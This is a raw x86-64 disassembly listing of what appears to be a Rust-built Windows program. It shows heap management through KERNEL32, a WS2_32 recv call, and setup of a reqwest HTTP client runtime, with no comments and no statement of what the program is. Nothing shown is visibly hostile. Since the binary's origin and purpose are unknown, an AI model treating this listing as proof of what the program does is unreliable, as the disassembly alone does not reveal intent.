mov qword [rbp + 0xfd8], rax
movups xmm8, xmmword [rbp + 0xaa0]
mov rbx, qword [rbp + 0xab0]
movups xmm7, xmmword [rbp + 0xab8]
movzx r12d, byte [rbp + 0xac8]
mov eax, dword [rbp + 0xac9]
mov dword [rbp + 0x1000], eax
mov eax, dword [rbp + 0xacc]
mov dword [rbp + 0x1003], eax
mov rdi, qword [rbp + 0xad0]
mov r15, qword [rbp + 0xad8]
movups xmm0, xmmword [rbp + 0xae0]
movaps xmmword [rbp + 0x8f0], xmm0
jmp 0x14000906e
mov eax, dword [0x1401bb2b4]
mov dword [rbp + 0x1003], eax
mov eax, dword [0x1401bb2b1]
mov dword [rbp + 0x1000], eax
movdqu xmm0, xmmword [0x1401bb2c8]
movdqa xmmword [rbp + 0x8f0], xmm0
mov eax, 2
movq xmm8, rax
pxor xmm7, xmm7
mov r15d, 0x18
lea rdi, [0x1401bb260]
xor r14d, r14d
xor ebx, ebx
xor r12d, r12d
mov r8, qword [rbp + 0x10a8]
mov rsi, qword [rbp + 0x10b0]
mov dword [rbp + 0xab0], 0
mov word [rbp + 0xab4], 0
mov dword [rbp + 0xa90], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xa98], xmm0
mov qword [rbp + 0xaa8], 7
mov byte [rbp + 0xab0], 1
lea rcx, [rbp + 0xa90]
mov rdx, rsi
call fcn.140136fe0
mov r13, rdx
cmp rax, 1
je 0x14000adcd
mov qword [rbp + 0x10c0], r12
mov qword [rbp + 0x10d0], rdi
lea rcx, [rbp + 0xa90]
mov rdx, r13
call fcn.140135620
cmp dword [rbp + 0xa90], 2
mov qword [rbp + 0x10b8], r15
mov rdi, r14
mov r15, rbx
jne 0x14000917f
mov r12, qword [rbp + 0xa98]
mov eax, r12d
and eax, 3
cmp eax, 1
jne 0x1400091a1
mov rsi, r12
dec rsi
mov r14, qword [r12 - 1]
mov rbx, qword [r12 + 7]
mov rcx, r14
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140009155
cmp qword [rbx + 0x10], 0x11
jb 0x140009143
mov r14, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor r14d, r14d
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400091d0
jmp 0x1400091b7
mov r12, qword [rbp + 0xac8]
mov r14d, 1
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400091d0
jmp 0x1400091b7
xor r14d, r14d
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400091d0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000de6b
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000de6b
mov rsi, rax
xor ebx, ebx
cmp qword [rbp + 0x10c8], 0
setne bl
mov qword [rax], r13
xorps xmm9, xmm9
movaps xmmword [rbp + 0x920], xmm9
movaps xmmword [rbp + 0x100], xmm9
mov eax, dword [rbp + 0x1000]
mov ecx, dword [rbp + 0x1003]
mov dword [rbp + 0x1020], eax
mov dword [rbp + 0x1023], ecx
movaps xmm0, xmmword [rbp + 0x8f0]
movaps xmmword [rbp + 0xec0], xmm0
movups xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0xa90], xmm0
mov eax, dword [rbp + 0x572]
mov dword [rbp + 0xf88], eax
movzx eax, word [rbp + 0x576]
mov word [rbp + 0xf8c], ax
mov eax, dword [rbp + 0x1020]
mov ecx, dword [rbp + 0x1023]
mov dword [rbp + 0xfeb], ecx
mov dword [rbp + 0xfe8], eax
movaps xmm1, xmmword [rbp + 0xec0]
movaps xmmword [rbp + 0x590], xmm1
movaps xmmword [rbp + 0x8a0], xmm0
movaps xmm0, xmmword [rbp + 0x920]
movaps xmmword [rbp + 0x620], xmm0
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x6f0], xmm0
movzx eax, word [rbp + 0xf8c]
mov word [rbp + 0xf94], ax
mov eax, dword [rbp + 0xf88]
mov dword [rbp + 0xf90], eax
mov eax, dword [rbp + 0xfe8]
mov ecx, dword [rbp + 0xfeb]
mov dword [rbp + 0x70], eax
mov dword [rbp + 0x73], ecx
movaps xmm0, xmmword [rbp + 0x590]
movaps xmmword [rbp + 0xa90], xmm0
movaps xmm0, xmmword [rbp + 0x8a0]
movaps xmmword [rbp + 0x920], xmm0
movaps xmm0, xmmword [rbp + 0x620]
movaps xmmword [rbp + 0x100], xmm0
movaps xmm0, xmmword [rbp + 0x6f0]
movaps xmmword [rbp + 0xec0], xmm0
mov eax, dword [rbp + 0xf90]
mov dword [rbp + 0x1020], eax
movzx eax, word [rbp + 0xf94]
mov word [rbp + 0x1024], ax
mov eax, dword [rbp + 0x70]
mov ecx, dword [rbp + 0x73]
mov dword [rbp + 0x103b], ecx
mov dword [rbp + 0x1038], eax
movaps xmm0, xmmword [rbp + 0xa90]
movaps xmmword [rbp + 0xa70], xmm0
movaps xmm0, xmmword [rbp + 0x920]
movaps xmmword [rbp + 0xf70], xmm0
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0xfc0], xmm0
movaps xmm0, xmmword [rbp + 0xec0]
movaps xmmword [rbp + 0xfb0], xmm0
movzx eax, word [rbp + 0x1024]
mov word [rbp + 0xfa4], ax
mov eax, dword [rbp + 0x1020]
mov dword [rbp + 0xfa0], eax
cmp qword [rbp + 0x10a8], 0
je 0x1400093a4
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x10b0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rbp + 0x1038]
mov ecx, dword [rbp + 0x103b]
mov dword [rbp + 0x108b], ecx
mov dword [rbp + 0x1088], eax
movaps xmm0, xmmword [rbp + 0xa70]
movaps xmmword [rbp + 0x670], xmm0
movaps xmm0, xmmword [rbp + 0xf70]
movaps xmmword [rbp + 0x1040], xmm0
movaps xmm0, xmmword [rbp + 0xfc0]
movaps xmmword [rbp + 0xf50], xmm0
movaps xmm0, xmmword [rbp + 0xfb0]
movaps xmmword [rbp + 0x550], xmm0
mov eax, dword [rbp + 0xfa0]
mov dword [rbp + 0xf98], eax
movzx eax, word [rbp + 0xfa4]
mov word [rbp + 0xf9c], ax
mov rax, qword [rbp + 0x1030]
mov qword [rbp + 0xa90], rax
movdqu xmmword [rbp + 0xa98], xmm6
mov qword [rbp + 0xaa8], 8
lea rcx, [rbp + 0xac0]
movups xmmword [rbp + 0xab0], xmm9
mov qword [rbp + 0xac0], 8
movups xmmword [rbp + 0xac8], xmm9
mov rax, qword [rbp + 0x1070]
mov qword [rbp + 0xad8], rax
xor edx, edx
call fcn.140005d20
mov rcx, qword [rbp + 0xad0]
lea rdx, [rcx + rcx*8]
shl rdx, 5
movzx eax, byte [rbp + 0xad8]
mov r13, qword [rbp + 0xa90]
mov r8, qword [rbp + 0xac0]
mov qword [r8 + rdx], 0
lea r9, [0x140204bac]
mov qword [r8 + rdx + 8], r9
mov qword [r8 + rdx + 0x10], 4
mov qword [r8 + rdx + 0x18], rbx
mov r9, qword [rbp + 0x10c8]
mov qword [r8 + rdx + 0x20], r9
mov r9, qword [rbp + 0x1010]
mov qword [r8 + rdx + 0x28], r9
mov r9, qword [rbp + 0xfe0]
mov qword [r8 + rdx + 0x30], r9
mov qword [r8 + rdx + 0x38], rdi
mov r9, qword [rbp + 0xfd8]
mov qword [r8 + rdx + 0x40], r9
movdqu xmmword [r8 + rdx + 0x48], xmm8
mov qword [r8 + rdx + 0x58], r15
movdqu xmmword [r8 + rdx + 0x60], xmm7
mov r9, qword [rbp + 0x10c0]
mov byte [r8 + rdx + 0x70], r9b
mov r9d, dword [rbp + 0x1088]
mov r10d, dword [rbp + 0x108b]
mov dword [r8 + rdx + 0x71], r9d
mov dword [r8 + rdx + 0x74], r10d
mov r9, qword [rbp + 0x10d0]
mov qword [r8 + rdx + 0x78], r9
mov r9, qword [rbp + 0x10b8]
mov qword [r8 + rdx + 0x80], r9
movaps xmm0, xmmword [rbp + 0x670]
movups xmmword [r8 + rdx + 0x88], xmm0
mov qword [r8 + rdx + 0x98], 0
movaps xmm0, xmmword [rbp + 0x1040]
movups xmmword [r8 + rdx + 0xa0], xmm0
mov qword [r8 + rdx + 0xb0], 2
mov qword [r8 + rdx + 0xb8], 0
mov qword [r8 + rdx + 0xc0], 8
movaps xmm0, xmmword [rbp + 0xf50]
movups xmmword [r8 + rdx + 0xc8], xmm0
mov qword [r8 + rdx + 0xd8], 8
movaps xmm0, xmmword [rbp + 0x550]
movups xmmword [r8 + rdx + 0xe0], xmm0
mov word [r8 + rdx + 0xf0], 0
movzx r9d, word [rbp + 0xf9c]
mov word [r8 + rdx + 0xf6], r9w
mov r9d, dword [rbp + 0xf98]
mov dword [r8 + rdx + 0xf2], r9d
mov qword [r8 + rdx + 0xf8], 0
mov qword [r8 + rdx + 0x100], rsi
lea r9, [0x140169120]
mov qword [r8 + rdx + 0x108], r9
mov qword [r8 + rdx + 0x110], r14
mov qword [r8 + rdx + 0x118], r12
inc rcx
mov qword [rbp + 0xad0], rcx
mov rcx, qword [rbp + 0xac8]
mov qword [rbp + 0x770], rcx
mov rcx, qword [rbp + 0xad0]
mov qword [rbp + 0x778], rcx
mov ecx, dword [rbp + 0xad9]
mov dword [rbp + 0x8e8], ecx
mov ecx, dword [rbp + 0xadc]
mov dword [rbp + 0x8eb], ecx
movdqu xmm0, xmmword [rbp + 0xa98]
movups xmm1, xmmword [rbp + 0xaa8]
movups xmm2, xmmword [rbp + 0xab8]
movdqa xmmword [rbp + 0x740], xmm0
movaps xmmword [rbp + 0x750], xmm1
movaps xmmword [rbp + 0x760], xmm2
cmp al, 3
je 0x14000ae71
movdqa xmm0, xmmword [rbp + 0x740]
movaps xmm1, xmmword [rbp + 0x750]
movaps xmm2, xmmword [rbp + 0x760]
mov rcx, qword [rbp + 0x770]
mov qword [rbp + 0x6d8], rcx
mov rcx, qword [rbp + 0x778]
mov qword [rbp + 0x6e0], rcx
movups xmmword [rbp + 0x6c8], xmm2
movups xmmword [rbp + 0x6b8], xmm1
movdqu xmmword [rbp + 0x6a8], xmm0
mov ecx, dword [rbp + 0x8e8]
mov edx, dword [rbp + 0x8eb]
mov dword [rbp + 0x6e9], ecx
mov dword [rbp + 0x6ec], edx
mov qword [rbp + 0x6a0], r13
mov byte [rbp + 0x6e8], al
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140009718
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000cc1d
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000cc1d
mov rsi, rax
movabs rax, 0xffff0000ffff
mov qword [rsi], rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000976b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000cc0c
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0xd0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000cc0c
mov word [rbp + 0xae8], 1
mov qword [rbp + 0xaa8], rsi
mov qword [rbp + 0xab0], 2
mov qword [rbp + 0xab8], rax
mov qword [rbp + 0xac0], 2
mov qword [rbp + 0xac8], 0
mov qword [rbp + 0xad0], 8
mov qword [rbp + 0xa90], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmmword [rbp + 0x110], xmm0
movdqa xmmword [rbp + 0x100], xmm0
lea rax, [0x1401d3af8]
mov qword [rbp + 0x260], rax
lea rax, [0x1401d8688]
mov qword [rbp + 0x268], rax
mov qword [rbp + 0x270], 3
mov qword [rbp + 0x278], 0
mov byte [rbp + 0x280], 0
lea rcx, [rbp + 0x740]
lea rdx, [rbp + 0xa90]
lea r8, [rbp + 0x100]
lea r9, [rbp + 0x260]
call fcn.1400a4910
cmp byte [rbp + 0x760], 2
je 0x14000986e
lea rcx, [rbp + 0x758]
mov rax, qword [rbp + 0x740]
mov rdx, qword [rbp + 0x748]
mov r8, qword [rbp + 0x750]
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x70], 0
jne 0x140009890
call fcn.140077390
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm6, xmmword [rax + 0x78]
inc qword [rax + 0x78]
movups xmm0, xmmword [rbp + 0xa90]
movups xmm1, xmmword [rbp + 0xaa0]
movups xmm2, xmmword [rbp + 0xab0]
movups xmm3, xmmword [rbp + 0xac0]
movaps xmmword [rbp + 0x260], xmm0
movaps xmmword [rbp + 0x270], xmm1
movaps xmmword [rbp + 0x280], xmm2
movaps xmmword [rbp + 0x290], xmm3
movups xmm0, xmmword [rbp + 0xad0]
movaps xmmword [rbp + 0x2a0], xmm0
movups xmm0, xmmword [rbp + 0xae0]
movaps xmmword [rbp + 0x2b0], xmm0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x100], xmm0
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x740], xmm0
mov qword [rbp + 0x750], 0
movaps xmmword [rbp + 0x590], xmm0
movaps xmm0, xmmword [rbp + 0x260]
movaps xmm1, xmmword [rbp + 0x270]
movaps xmm2, xmmword [rbp + 0x280]
movaps xmm3, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x920], xmm0
movaps xmmword [rbp + 0x930], xmm1
movaps xmmword [rbp + 0x940], xmm2
movaps xmmword [rbp + 0x950], xmm3
movaps xmm0, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0x960], xmm0
movaps xmm0, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0x970], xmm0
mov rax, qword [rbp + 0x670]
mov qword [rbp + 0xfc0], rax
mov eax, dword [rbp + 0x678]
mov dword [rbp + 0xfc8], eax
mov eax, dword [rbp + 0x1048]
mov dword [rbp + 0xfb8], eax
mov rax, qword [rbp + 0x1040]
mov qword [rbp + 0xfb0], rax
mov eax, dword [rbp + 0xf58]
mov dword [rbp + 0x1028], eax
mov rax, qword [rbp + 0xf50]
mov qword [rbp + 0x1020], rax
mov eax, dword [rbp + 0xa78]
mov dword [rbp + 0xff0], eax
mov rax, qword [rbp + 0xa70]
mov qword [rbp + 0xfe8], rax
mov eax, dword [rbp + 0xf78]
mov dword [rbp + 0x1008], eax
mov rax, qword [rbp + 0xf70]
mov qword [rbp + 0x1000], rax
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x8a0], xmm0
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x620], xmm0
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0xed0], rax
movaps xmm0, xmmword [rbp + 0x740]
movaps xmmword [rbp + 0xec0], xmm0
movaps xmm0, xmmword [rbp + 0x590]
movaps xmmword [rbp + 0x6f0], xmm0
movups xmm0, xmmword [rbp + 0xa90]
movaps xmmword [rbp + 0x8f0], xmm0
movzx eax, byte [rbp + 0x108a]
mov byte [rbp + 0x103a], al
movzx eax, word [rbp + 0x1088]
mov word [rbp + 0x1038], ax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140009a9b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000cc2e
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x2320
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000cc2e
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rax + 0x2310], xmm0
movups xmmword [rax + 0x2300], xmm0
movups xmmword [rbp + 0x267], xmm0
mov qword [rbp + 0x277], 0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140009b04
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000cc3f
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x280
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000cc3f
mov rsi, rax
and rsi, 0xffffffffffffff80
mov qword [rsi + 0x78], rax
mov qword [rsi + 0x80], 1
mov qword [rsi + 0x88], 1
mov qword [rsi + 0x100], rdi
mov qword [rsi + 0x108], 0
xorps xmm0, xmm0
movaps xmmword [rsi + 0x180], xmm0
mov qword [rsi + 0x190], 0
movups xmm0, xmmword [rbp + 0xa90]
movups xmm1, xmmword [rbp + 0xaa0]
movups xmm2, xmmword [rbp + 0xab0]
movups xmm3, xmmword [rbp + 0xac0]
movups xmmword [rsi + 0x198], xmm0
movups xmmword [rsi + 0x1a8], xmm1
movups xmmword [rsi + 0x1b8], xmm2
movups xmmword [rsi + 0x1c8], xmm3
movups xmm0, xmmword [rbp + 0xad0]
movups xmmword [rsi + 0x1d8], xmm0
movups xmm0, xmmword [rbp + 0xae0]
movups xmmword [rsi + 0x1e8], xmm0
mov rax, qword [rbp + 0xaf0]
mov qword [rsi + 0x1f8], rax
mov qword [rsi + 0x200], rdi
mov qword [rsi + 0x208], rdi
mov qword [rsi + 0x210], 0
mov byte [rsi + 0x218], 0
mov qword [rsi + 0x220], 0
mov byte [rsi + 0x228], 0
movdqu xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x26f]
movdqu xmmword [rsi + 0x229], xmm0
movups xmmword [rsi + 0x238], xmm1
mov qword [rsi + 0x248], 0
mov qword [rsi + 0x250], 1
lock inc qword [rsi + 0x80]
jle 0x14000e5e1
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140009c65
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000cc50
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x48
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000cc50
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov qword [rax + 0x40], 0
lock inc qword [rax]
jle 0x14000e5e1
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140009cd4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000cc61
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x1d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000cc61
mov r12, rax
movups xmm0, xmmword [0x1401d8e05]
movups xmmword [rax + 0xd], xmm0
movdqu xmm0, xmmword [str.reqwest_internal_sync_runtime]
movdqu xmmword [rax], xmm0
call fcn.14013a1a0
mov r15, rax
lea rdx, [r12 + 7]
and rdx, 0xfffffffffffffff8
xor eax, eax
sub rdx, r12
je 0x140009d46
je 0x140009d46
xor ecx, ecx
nop word cs:[rax + rax]
cmp byte [r12 + rcx], 0
je 0x14000cbbb
inc rcx
cmp rdx, rcx
jne 0x140009d30
mov rax, rdx
mov rdx, qword [r12 + rax]
mov r8, rdx
not r8
movabs rcx, 0xfefefefefefefeff
add rdx, rcx
and rdx, r8
movabs r9, 0x8080808080808080
test rdx, r9
jne 0x140009d91
mov rdx, rax
or rdx, 0x10
mov r8, rax
or r8, 8
mov r8, qword [r12 + r8]
add rcx, r8
not r8
and rcx, r8
test rcx, r9
cmove rax, rdx
lea rdi, [rsi + 0x80]
lea r14, [rsi + 0x100]
add rsi, 0x250
mov rdx, r12
add rdx, rax
mov r8d, 0x1d
sub r8, rax
xor ecx, ecx
nop word [rax + rax]
cmp byte [rdx + rcx], 0
je 0x14000cbb8
inc rcx
cmp r8, rcx
jne 0x140009dc0
mov qword [rbp + 0xa90], r12
mov qword [rbp + 0xa98], 0x1d
mov qword [rbp + 0xaa0], 0x1d
lea rcx, [rbp + 0xa90]
call fcn.140013c40
mov rcx, rax
call fcn.14012d3c0
lock inc qword [rax]
jle 0x14000e5e1
mov r12, rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140009e3c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000de7c
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000de7c
mov r13, rax
mov qword [rbp + 0x10b8], r14
mov qword [rax], 1
mov qword [rax + 8], 1
pxor xmm0, xmm0
movdqu xmmword [rax + 0x10], xmm0
mov qword [rbp + 0x740], rax
lock inc qword [rax]
jle 0x14000e5e1
movzx eax, byte [0x140215248]
test al, al
mov qword [rbp + 0x10d0], rdi
je 0x140009f2f
mov byte [0x140215248], 1
mov qword [rbp + 0xa90], 0
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
je 0x140009ed4
lea rax, [rax + 0x60]
jmp 0x140009ee2
call fcn.140138db0
test rax, rax
je 0x14000d069
mov r14, qword [rax]
mov qword [rax], 0
test r14, r14
je 0x140009f2f
lock inc qword [r14]
jle 0x14000e5e1
mov byte [0x140215248], 1
mov qword [rbp + 0xa90], r14
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
je 0x140009f77
lea rax, [rax + 0x60]
jmp 0x140009f85
movzx eax, byte [0x140215248]
test al, al
je 0x140009f72
mov byte [0x140215248], 1
mov qword [rbp + 0xa90], 0
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
je 0x140009f8d
lea rax, [rax + 0x60]
jmp 0x140009f9b
xor r14d, r14d
jmp 0x140009fb8
call fcn.140138db0
test rax, rax
je 0x14000d057
mov rcx, qword [rax]
mov qword [rax], r14
jmp 0x140009fa8
call fcn.140138db0
test rax, rax
je 0x14000d069
mov rcx, qword [rax]
mov qword [rax], 0
xor r14d, r14d
test rcx, rcx
je 0x140009fb8
lock dec qword [rcx]
jne 0x140009fb8
call fcn.140113e30
mov rdi, qword [rbp + 0x740]
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140009fd3
lock inc qword [rcx + 0x18]
jle 0x14000ce07
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140009fff
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000cc72
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x1c0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000cc72
mov qword [rax], r12
mov qword [rax + 8], r13
mov qword [rax + 0x10], r14
movaps xmm0, xmmword [rbp + 0x920]
movaps xmm1, xmmword [rbp + 0x930]
movaps xmm2, xmmword [rbp + 0x940]
movaps xmm3, xmmword [rbp + 0x950]
movups xmmword [rax + 0x18], xmm0
movups xmmword [rax + 0x28], xmm1
movups xmmword [rax + 0x38], xmm2
movups xmmword [rax + 0x48], xmm3
movaps xmm0, xmmword [rbp + 0x960]
movups xmmword [rax + 0x58], xmm0
movaps xmm0, xmmword [rbp + 0x970]
movups xmmword [rax + 0x68], xmm0
mov qword [rax + 0x78], 2
xorps xmm0, xmm0
movups xmmword [rax + 0x80], xmm0
mov dword [rax + 0x90], 0
mov dword [rax + 0x98], 0
mov dword [rax + 0xa0], 0
mov rcx, qword [rbp + 0xfc0]
mov qword [rax + 0xa4], rcx
mov ecx, dword [rbp + 0xfc8]
mov dword [rax + 0xac], ecx
mov dword [rax + 0xb0], 0x3b9aca00
mov qword [rax + 0xb8], 0x5a
mov dword [rax + 0xc0], 0
mov ecx, dword [rbp + 0xfb8]
mov dword [rax + 0xcc], ecx
mov rcx, qword [rbp + 0xfb0]
mov qword [rax + 0xc4], rcx
mov dword [rax + 0xd0], 0x3b9aca00
mov ecx, dword [rbp + 0x1028]
mov dword [rax + 0xdc], ecx
mov rcx, qword [rbp + 0x1020]
mov qword [rax + 0xd4], rcx
mov dword [rax + 0xe0], 0x3b9aca00
mov ecx, dword [rbp + 0xff0]
mov dword [rax + 0xec], ecx
mov rcx, qword [rbp + 0xfe8]
mov qword [rax + 0xe4], rcx
mov dword [rax + 0xf0], 0x3b9aca00
mov ecx, dword [rbp + 0x1008]
mov dword [rax + 0xfc], ecx
mov rcx, qword [rbp + 0x1000]
mov qword [rax + 0xf4], rcx
mov dword [rax + 0x100], 0x3b9aca00
mov qword [rax + 0x108], 8
movaps xmm0, xmmword [rbp + 0x8a0]
movups xmmword [rax + 0x110], xmm0
mov qword [rax + 0x120], 8
movaps xmm0, xmmword [rbp + 0x620]
movups xmmword [rax + 0x128], xmm0
lea rcx, [0x1401dea30]
mov qword [rax + 0x138], rcx
mov rcx, qword [rbp + 0xed0]
mov qword [rax + 0x150], rcx
movaps xmm0, xmmword [rbp + 0xec0]
movups xmmword [rax + 0x140], xmm0
movdqu xmmword [rax + 0x158], xmm6
mov qword [rax + 0x168], 0xffffffffffffffff
movaps xmm0, xmmword [rbp + 0x6f0]
movups xmmword [rax + 0x170], xmm0
mov dword [rax + 0x188], 0x1000101
mov word [rax + 0x18c], 0x101
mov qword [rax + 0x18e], 0
mov dword [rax + 0x196], 0x2000001
mov byte [rax + 0x19a], 2
movdqa xmm0, xmmword [rbp + 0x8f0]
movdqu xmmword [rax + 0x19b], xmm0
mov word [rax + 0x1ab], 0x404
movzx ecx, byte [rbp + 0x103a]
mov byte [rax + 0x1af], cl
movzx ecx, word [rbp + 0x1038]
mov word [rax + 0x1ad], cx
mov rcx, qword [rbp + 0x10d0]
mov qword [rax + 0x1b0], rcx
mov qword [rax + 0x1b8], rbx
lea r8, [0x1401d49a8]
mov rcx, r15
mov rdx, rax
call fcn.14013a390
mov r15, rdx
test rax, rax
jne 0x14000ccc2
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], rdi
mov qword [rbp + 0x270], r15
call fcn.140130360
test rax, rax
je 0x1400113b0
mov r13, rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000a2c1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14001138c
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14001138c
mov r12, rax
mov qword [r12], 1
mov qword [r12 + 8], 1
add r12, 0x10
mov qword [rax + 0x10], r13
lea r13, [0x1401438a0]
lea r14, [fcn.140114620]
jmp 0x14000a311
mov rcx, r12
call fcn.140114680
call fcn.140130510
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x14000a361
test eax, eax
jne 0x14000a3d0
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
mov rdx, r13
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
movzx eax, byte [rcx + 0xdd]
cmp byte [rcx + 0xdc], 0
je 0x14000a38e
test al, al
je 0x14000a304
dec al
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movzx edi, word [rcx + 0xdc]
mov byte [rcx + 0xdd], al
mov r15d, edi
shr r15d, 8
mov rax, qword [rbx + 0x40]
test al, 2
je 0x14000a3e1
jmp 0x14000a53a
xor edi, edi
xor r15d, r15d
mov rax, qword [rbx + 0x40]
test al, 2
jne 0x14000a53a
test al, 4
jne 0x14000a530
test al, 1
jne 0x14000a400
test al, 1
je 0x14000a432
jmp 0x14000a467
cmp r12, qword [rbx + 0x38]
je 0x14000a4eb
mov rax, qword [rbx + 0x40]
nop
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x14000a410
test al, 2
jne 0x14000a534
mov rax, qword [rbx + 0x30]
mov rcx, qword [rbx + 0x38]
call qword [rax + 0x18]
mov rcx, r12
call fcn.140114620
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rdx
mov rax, qword [rbx + 0x40]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x14000a450
test al, 2
jne 0x14000a53a
test dil, dil
je 0x14000a30c
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x14000a4c0
test eax, eax
jne 0x14000a30c
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
mov rdx, r13
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
